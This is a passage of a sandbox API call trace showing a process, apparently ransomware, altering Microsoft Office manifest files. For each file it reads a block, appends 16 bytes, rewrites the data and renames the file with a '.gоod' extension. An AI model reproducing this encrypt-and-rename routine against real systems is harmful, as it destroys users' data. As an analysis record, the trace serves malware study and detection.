(dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0188.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.702] GetFileType (hFile=0x824) returned 0x1 [0188.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.702] GetFileType (hFile=0x824) returned 0x1 [0188.702] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0188.703] ReadFile (in: hFile=0x824, lpBuffer=0x38e1c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x38e1c30*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0188.704] CloseHandle (hObject=0x824) returned 1 [0188.704] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.705] GetFileType (hFile=0x824) returned 0x1 [0188.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.705] GetFileType (hFile=0x824) returned 0x1 [0188.705] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x2aafe [0188.705] WriteFile (in: hFile=0x824, lpBuffer=0x38e51f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x38e51f8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0188.706] CloseHandle (hObject=0x824) returned 1 [0188.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.706] GetFileType (hFile=0x824) returned 0x1 [0188.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.706] GetFileType (hFile=0x824) returned 0x1 [0188.706] ReadFile (in: hFile=0x824, lpBuffer=0x38e9898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x38e9898*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0188.875] CloseHandle (hObject=0x824) returned 1 [0188.875] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.875] GetFileType (hFile=0x824) returned 0x1 [0188.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.875] GetFileType (hFile=0x824) returned 0x1 [0188.875] WriteFile (in: hFile=0x824, lpBuffer=0x37762b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37762b8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0188.875] CloseHandle (hObject=0x824) returned 1 [0188.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0188.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x68 [0188.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0188.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6cc9cb51, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab0e)) returned 1 [0188.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0188.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.gоod")) returned 1 [0188.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0188.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0188.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x387abb8 | out: lpFileInformation=0x387abb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4)) returned 1 [0188.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0188.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0188.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.878] GetFileType (hFile=0x824) returned 0x1 [0188.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.878] GetFileType (hFile=0x824) returned 0x1 [0188.878] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0188.878] ReadFile (in: hFile=0x824, lpBuffer=0x387b080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x387b080*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0188.880] CloseHandle (hObject=0x824) returned 1 [0188.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0188.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.880] GetFileType (hFile=0x824) returned 0x1 [0188.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.880] GetFileType (hFile=0x824) returned 0x1 [0188.880] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xf0cb4 [0188.880] WriteFile (in: hFile=0x824, lpBuffer=0x387c4d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x387c4d0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0188.882] CloseHandle (hObject=0x824) returned 1 [0188.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0188.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0188.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0188.882] GetFileType (hFile=0x824) returned 0x1 [0188.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0188.882] GetFileType (hFile=0x824) returned 0x1 [0188.882] ReadFile (in: hFile=0x824, lpBuffer=0x387e900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x387e900*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0189.491] CloseHandle (hObject=0x824) returned 1 [0189.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0189.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0189.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0189.492] GetFileType (hFile=0x824) returned 0x1 [0189.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0189.492] GetFileType (hFile=0x824) returned 0x1 [0189.492] WriteFile (in: hFile=0x824, lpBuffer=0x377ade0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x377ade0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0189.492] CloseHandle (hObject=0x824) returned 1 [0189.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0189.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5d [0189.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0189.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6d2921fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0cc4)) returned 1 [0189.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0189.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml.gоod")) returned 1 [0189.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0189.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0189.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3908538 | out: lpFileInformation=0x3908538*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e)) returned 1 [0189.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0189.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0189.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0189.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0189.494] GetFileType (hFile=0x824) returned 0x1 [0189.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0189.494] GetFileType (hFile=0x824) returned 0x1 [0189.494] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0189.494] ReadFile (in: hFile=0x824, lpBuffer=0x3908f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3908f58*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0189.496] CloseHandle (hObject=0x824) returned 1 [0189.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0189.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0189.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0189.496] GetFileType (hFile=0x824) returned 0x1 [0189.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0189.496] GetFileType (hFile=0x824) returned 0x1 [0189.496] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1536e [0189.496] WriteFile (in: hFile=0x824, lpBuffer=0x390a2a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x390a2a8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0189.497] CloseHandle (hObject=0x824) returned 1 [0189.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0189.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0189.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0189.498] GetFileType (hFile=0x824) returned 0x1 [0189.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0189.498] GetFileType (hFile=0x824) returned 0x1 [0189.498] ReadFile (in: hFile=0x824, lpBuffer=0x390c640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x390c640*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0190.469] CloseHandle (hObject=0x824) returned 1 [0190.469] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0190.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.469] GetFileType (hFile=0x824) returned 0x1 [0190.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.469] GetFileType (hFile=0x824) returned 0x1 [0190.469] WriteFile (in: hFile=0x824, lpBuffer=0x378a3e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x378a3e0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0190.470] CloseHandle (hObject=0x824) returned 1 [0190.470] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0190.470] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x66 [0190.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0190.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6dbdd3ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1537e)) returned 1 [0190.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0190.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.gоod")) returned 1 [0190.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0190.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), fInfoLevelId=0x0, 